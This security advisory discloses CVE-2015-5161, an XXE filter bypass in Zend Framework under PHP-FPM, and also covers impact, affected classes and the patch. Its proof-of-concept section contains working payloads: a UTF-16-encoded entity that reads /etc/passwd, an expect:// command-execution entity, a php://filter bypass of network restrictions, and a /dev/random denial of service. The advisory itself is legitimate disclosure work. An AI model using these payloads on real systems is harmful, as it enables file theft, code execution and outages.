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============================================= - Release date: 12.08.2015 - Discovered by: Dawid Golunski - Severity: High - CVE-ID: CVE-2015-5161 ============================================= I. VULNERABILITY ------------------------- Zend Framework <= 2.4.2 XML eXternal Entity Injection (XXE) on PHP FPM Zend Framework <= 1.12.13 II. BACKGROUND ------------------------- - Zend Framework From http://framework.zend.com/about/ website: "Zend Framework 2 is an open source framework for developing web applications and services using PHP 5.3+. Zend Framework 2 uses 100% object-oriented code and utilises most of the new features of PHP 5.3, namely namespaces, late static binding, lambda functions and closures. Zend Framework 2 evolved from Zend Framework 1, a successful PHP framework with over 15 million downloads." - PHP FPM http://php.net/manual/en/install.fpm.php "FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with some additional features (mostly) useful for heavy-loaded sites." Starting from release 5.3.3 in early 2010, PHP merged the php-fpm fastCGI process manager into its codebase. However PHP-FPM was available earlier as a separate project (http://php-fpm.org/). III. INTRODUCTION ------------------------- The XML standard defines a concept of external entites. XXE (XML eXternal Entity) attack is an attack on an application that parses XML input from untrusted sources using incorrectly configured XML parser. The application may be forced to open arbitrary files and/or network resources. Exploiting XXE issues on PHP applications may also lead to denial of service or in some cases (for example, when an 'expect' PHP module is installed) lead to command execution. An independent security reserach of Zend Framework revealed that it is possible to bypass XXE security controls within the framework in case the PHP application using Zend XML related classes (e.g Zend_XmlRpc_Server, Zend_Feed, Zend_Config_Xml etc.) from Zend Framework is served via PHP FPM. Bypassing the controls may allow XXE attacks and lead to the aforementioned exploitation possibilities on systems where the XML parser is set to resolve entities. IV. DESCRIPTION ------------------------- The security controls within the Zend Framework mitigate the XXE attack vectors by first calling libxml_disable_entity_loader(), and then looping through the DOMDocument nodes testing if any is of type: XML_DOCUMENT_TYPE_NODE If so, an exception is raised and PHP script execution is halted. These controls have been included in the scan() function of a Zend_Xml_Security class located in the following paths depending on the code branch of Zend Framework: ZendFramework-1.12.13/library/Zend/Xml/Security.php ZendFramework-2.4.2/library/ZendXml/Security.php In case of the latest version of ZendFramework-1.12.13, the relevant code blocks from the scan() function look as follows: ---[library/Zend/Xml/Security.php ]--- public static function scan($xml, DOMDocument $dom = null) { if (self::isPhpFpm()) { self::heuristicScan($xml); } if (!self::isPhpFpm()) { $loadEntities = libxml_disable_entity_loader(true); $useInternalXmlErrors = libxml_use_internal_errors(true); } // Load XML with network access disabled (LIBXML_NONET) $result = $dom->loadXml($xml, LIBXML_NONET); restore_error_handler(); if (!self::isPhpFpm()) { libxml_disable_entity_loader($loadEntities); libxml_use_internal_errors($useInternalXmlErrors); } if (!$result) { return false; } // Scan for potential XEE attacks using ENTITY, if not PHP-FPM if (!self::isPhpFpm()) { foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { if ($child->entities->length > 0) { require_once 'Exception.php'; throw new Zend_Xml_Exception(self::ENTITY_DETECT); } } } } if (isset($simpleXml)) { $result = simplexml_import_dom($dom); if (!$result instanceof SimpleXMLElement) { return false; } return $result; } return $dom; -------------------------------------- As we can see from the code, the application disables the entity loader (via libxml_disable_entity_loader), it also disables network access (LIBXML_NONET), and it additionally scans provided XML for the presence of XML entities to prevent potential entity expansion attacks. The code succesfully prevents most XXE attacks. However, as the PHP libxml_disable_entity_loader() function was reported not thread safe (the entity loader setting could potentially get overwritten between hits in FPM processes), Zend Framework does not use it when the application is hosted in a PHP-FPM environment. Instead, another approach is taken to prevent the XXE attacks. In the code above we see the check !self::isPhpFpm() which determines the type of interface between web server and PHP (through the php_sapi_name() function). If the SAPI is FPM-CGI (i.e. PHP-FPM) the following heuristicScan function gets executed: ---[library/Zend/Xml/Security.php ]--- protected static function heuristicScan($xml) { if (strpos($xml, '<!ENTITY') !== false) { require_once 'Exception.php'; throw new Zend_Xml_Exception(self::ENTITY_DETECT); } } -------------------------------------- It validates provided XML by searching for any entity declaration. It throws an exception if it finds one. Although this check cannot be bypassed by simply adding spaces or changing the characters to lower case (an XML parser would reject such declaration as invalid), this security check is nevertheless insufficient. XML format allows for different types of encoding to be used, hence it is possible to bypass the check by supplying specifically encoded XML content. For example, a UTF-16 encoding which uses 2-byte characters would be enough to bypass the ENTITY string check. Apart from the ENTITY check, the code also adds the aformentioned LIBXML_NONET parameter to catch entities refering to network resources. This limitation can also be bypassed as shown in the proof of concept exploit. This makes the Zend Framework vulnerable to XXE injection attacks. V. PROOF OF CONCEPT ------------------------- Below is a simple PHP application using Zend Framework to implement an XML-RPC server for demonstation: ---[ zend_xmlrpc_server.php ]-- <?php // Simple XML-RPC SERVER function helloworld() { $text = "Hello world! This request was executed via ".php_sapi_name()."."; return $text; } set_include_path("./ZendFramework-1.12.13/library/"); require_once("./ZendFramework-1.12.13/library/Zend/Loader/Autoloader.php"); Zend_Loader_Autoloader::getInstance(); $server = new Zend_XmlRpc_Server(); $server->addFunction('helloworld'); echo $server->handle(); ?> ------------------------------- This test application is hosted on an Apache server with PHP-FPM. Requesting: POST /zend_poc/zend-xmlrpc-server.php HTTP/1.1 Host: apache-php-fpm <?xml version="1.0" encoding="UTF-8"?> <methodCall> <methodName>helloworld</methodName> </methodCall> should return: <methodResponse><params><param><value><string>Hello world! This request was executed via fpm-fcgi.</string></value></param></params> </methodResponse> In order to exploit the XXE vulnerability contained in the Zend framework an attacker can pass XML data containing external entities similar to: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE methodCall [ <!ENTITY pocdata SYSTEM "file:///etc/passwd"> ]> <methodCall> <methodName>retrieved: &pocdata;</methodName> </methodCall> Feeding the above data to the zend-xmlrpc-server.php script will result in an error: <int>631</int></value></member><member><name>faultString</name><value> <string>Failed to parse request</string></value></member></struct></value> </fault></methodResponse> which is due to the heuristicScan ENTITy detection. We can now encode the data to avoid the check. $ cat poc-utf8.xml |sed 's/UTF-8/UTF-16/' \ | iconv -f UTF-8 -t UTF-16 >poc-utf16.xml Hex representation of the UTF-16 encoded XML file (including the change in the xml header to reflect the new encoding) looks as follows: $ hexdump -C poc-utf16.xml 00000000ff fe 3c 00 3f 00 78 006d 00 6c 00 20 00 76 00|..<.?.x.m.l. .v.| 0000001065 00 72 00 73 00 69 006f 00 6e 00 3d 00 22 00|e.r.s.i.o.n.=.".| 0000002031 00 2e 00 30 00 22 0020 00 65 00 6e 00 63 00|1...0.". .e.n.c.| 000000306f 00 64 00 69 00 6e 0067 00 3d 00 22 00 55 00|o.d.i.n.g.=.".U.| 0000004054 00 46 00 2d 00 38 0022 00 3f 00 3e 00 0a 00|T.F.-.8.".?.>...| 000000503c 00 21 00 44 00 4f 0043 00 54 00 59 00 50 00|<.!.D.O.C.T.Y.P.| 0000006045 00 20 00 6d 00 65 0074 00 68 00 6f 00 64 00|E. .m.e.t.h.o.d.| 0000007043 00 61 00 6c 00 6c 0020 00 5b 00 0a 00 20 00|C.a.l.l. .[... .| 0000008020 00 3c 00 21 00 45 004e 00 54 00 49 00 54 00| .<.!.E.N.T.I.T.| 0000009059 00 20 00 70 00 6f 0063 00 64 00 61 00 74 00|Y. .p.o.c.d.a.t.| 000000a061 00 20 00 53 00 59 0053 00 54 00 45 00 4d 00|a. .S.Y.S.T.E.M.| 000000b020 00 22 00 66 00 69 006c 00 65 00 3a 00 2f 00| .".f.i.l.e.:./.| 000000c02f 00 2f 00 65 00 74 0063 00 2f 00 70 00 61 00|/./.e.t.c./.p.a.| 000000d073 00 73 00 77 00 64 0022 00 3e 00 0a 00 5d 00|s.s.w.d.".>...].| 000000e03e 00 0a 00 3c 00 6d 0065 00 74 00 68 00 6f 00|>...<.m.e.t.h.o.| 000000f064 00 43 00 61 00 6c 006c 00 3e 00 0a 00 20 00|d.C.a.l.l.>... .| 0000010020 00 3c 00 6d 00 65 0074 00 68 00 6f 00 64 00| .<.m.e.t.h.o.d.| 000001104e 00 61 00 6d 00 65 003e 00 72 00 65 00 74 00|N.a.m.e.>.r.e.t.| 0000012072 00 69 00 65 00 76 0065 00 64 00 3a 00 20 00|r.i.e.v.e.d.:. .| 0000013026 00 70 00 6f 00 63 0064 00 61 00 74 00 61 00|&.p.o.c.d.a.t.a.| 000001403b 00 3c 00 2f 00 6d 0065 00 74 00 68 00 6f 00|;.<./.m.e.t.h.o.| 0000015064 00 4e 00 61 00 6d 0065 00 3e 00 0a 00 3c 00|d.N.a.m.e.>...<.| 000001602f 00 6d 00 65 00 74 0068 00 6f 00 64 00 43 00|/.m.e.t.h.o.d.C.| 0000017061 00 6c 00 6c 00 3e 000a 00|a.l.l.>...| As can be seen on the hexdump, the ENTITY word is encoded using 2-byte characters. Resupplying the encoded data contained in poc-utf16.xml to the Zend XMLRPC application, depending on the underlying libxml library, may result in a password file retrival from the remote server: $ wget -q -O /dev/stdout http://apache-phpfpm/zend_poc/zend-xmlrpc-server.php \ --post-file=poc-utf16.xml <?xml version="1.0" encoding="UTF-8"?> <methodResponse><fault><value><struct><member><name>faultCode</name><value> <int>620</int></value></member><member><name>faultString</name><value><string> Method "retrieved: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh [cut] " does not exist</string></value></member></struct></value></fault> </methodResponse> If the password file is not returned, an attacker may try another version of an XXE attack using parameter entities and an out-of-band communication. Both of these can be used to exploit the vulnerability in Zend Framework on a greater number of libxml configurations. Remote command execution may also be possible if the remote system has an 'expect' php module (libexpect-php) installed. If this is the case, we can for example execute 'id' command via injecting the entity: <!ENTITY pocdata SYSTEM "expect://id"> which should return a result similar to: <?xml version="1.0" encoding="UTF-8"?> <methodResponse><fault><value><struct><member><name>faultCode</name><value> <int>620</int></value></member><member><name>faultString</name><value> <string>Method "retrieved: uid=33(www-data) gid=33(www-data) groups=33(www-data) " does not exist</string></value></member> A separate POC exploit (zend-xmlrpc-exploit-cmd-exec.sh) is included which runs commands with parameters and also implements parameter entities/OOB communication. As mentioned in the description of this vulnerability, the Zend Framework adds a LIBXML_NONET flag to the loadXML() call in order to prevent reaching network resources through XXE. As a result, requesting a network resource such as http://192.168.57.10 via XXE injection will fail. This can be bypassed by using php://filter wrapper inside an entity, e.g: <!ENTITY pocdata SYSTEM "php://filter/read=convert.base64-encode/ resource=http://192.168.57.10"> This will return a base64 encoded response from the remote server bypassing the LIBXML_NONET restriction: <?xml version="1.0" encoding="UTF-8"?> <methodResponse><fault><value><struct><member><name>faultCode</name><value><int>620</int> </value></member><member><name>faultString</name><value><string>Method " retrieved: PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDMuMiBGaW5hb C8vRU4iPgo8aHRtbD4KIDxoZWFkPgogIDx0aXRsZT5JbmRleCBvZiAvPC90aXRsZT4KIDwvaGVhZ D4KIDxib2R5Pgo8aDE+SW5kZXggb2YgLzwvaDE+CiAgPHRhYmxlPgogICA8dHI+PHRoIHZhbGlnb j0idG9wIj48aW1nIHNyYz0iL2ljb[cut] This vulnerability may also lead to Denial of Service if for example the attacker requests /dev/random file through XXE. This will cause the application to block on the endless input from the random generator pseudo device, until the maximum execution time is reached. Sending multiple requests of such kind would exhaust the maximum number of threads that the web server can create. VI. BUSINESS IMPACT ------------------------- An unauthenticated remote exploitation may be possible on applications which make use of Zend_XmlRpc_Server with a public XML-RPC endpoint as demonstrated in this advisory. Authentication in case of XML-RPC is not required for exploitation as the XML needs to be processed first in order for the application to read the credentials passed from the login data within the xml-formatted input. This issue should be marked as high/critical due to the wide deployment of Zend Framework (which includes some major CMS and e-commerce applications), the number of Zend XML classes affected, low complexity of exploitation, as well as a possibility of an unauthenticated remote exploitation. There is also a growing number of servers set up to serve PHP code with PHP-FPM, especially in web hosting environments which need to respond to heavy load. VII. SYSTEMS AFFECTED ------------------------- All systems making use of Zend Framework in versions starting from 1.12.4 and 2.1.6 up to the latest versions of Zend Framework 1.12.13 (released 2015-05-20) and 2.4.2 (released 2015-05-11) contain the XXE injection vulnerability described in this advisory. All Zend Framework classes making use of XML and calling the vulnerable Zend_Xml_Security::scan() function are affected by this issue: Zend/Amf/Parse/Amf0/Deserializer.php Zend/Amf/Parse/Amf3/Deserializer.php Zend/Config/Xml.php Zend/Dom/Query.php Zend/Feed/Abstract.php Zend/Feed/Entry/Abstract.php Zend/Feed/Entry/Atom.php Zend/Feed.php Zend/Feed/Reader.php Zend/Feed/Writer/Renderer/Entry/Atom.php Zend/Gdata/App/Base.php Zend/Gdata/App.php Zend/Gdata/Gapps/ServiceException.php Zend/Gdata/YouTube.php Zend/Json.php Zend/Mobile/Push/Message/Mpns/Raw.php Zend/Rest/Client/Result.php Zend/Search/Lucene/Document/Docx.php Zend/Search/Lucene/Document/OpenXml.php Zend/Search/Lucene/Document/Pptx.php Zend/Search/Lucene/Document/Xlsx.php Zend/Serializer/Adapter/Wddx.php Zend/Service/Amazon/Ec2/Response.php Zend/Service/Amazon.php Zend/Service/Amazon/SimpleDb/Response.php Zend/Service/Audioscrobbler.php Zend/Service/Delicious.php Zend/Service/Ebay/Finding.php Zend/Service/Flickr.php Zend/Service/SlideShare.php Zend/Service/SqlAzure/Management/Client.php Zend/Service/Technorati.php Zend/Service/WindowsAzure/Diagnostics/ConfigurationInstance.php Zend/Service/WindowsAzure/Management/Client.php Zend/Service/WindowsAzure/Storage.php Zend/Service/Yahoo.php Zend/Soap/Server.php Zend/Soap/Wsdl.php Zend/XmlRpc/Request.php Zend/XmlRpc/Response.php The vulnerability can be exploited in applications using vulnerable version of the framework, where PHP code is served with PHP-FPM, and when the xml parser installed in the system is set up to resolves entities. PHP-FPM can be set up on popular web servers such as Apache, or Nginx on Linux/Unix, as well as Windows systems (as per the 'fpm on cygwin' setup guides available on the Internet). VIII. SOLUTION ------------------------- Install the latest version of Zend Framework containing the patch for this vulnerability. IX. REFERENCES ------------------------- http://legalhackers.com/ http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt http://framework.zend.com/blog/zend-framework-2-5-0-released.html http://framework.zend.com/security/advisory/ZF2015-06 http://www.securiteam.com/ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5161 X. DISCOVERED BY ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com legalhackers.com XI. REVISION HISTORY ------------------------- Aug 12th, 2015:Final version XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. |
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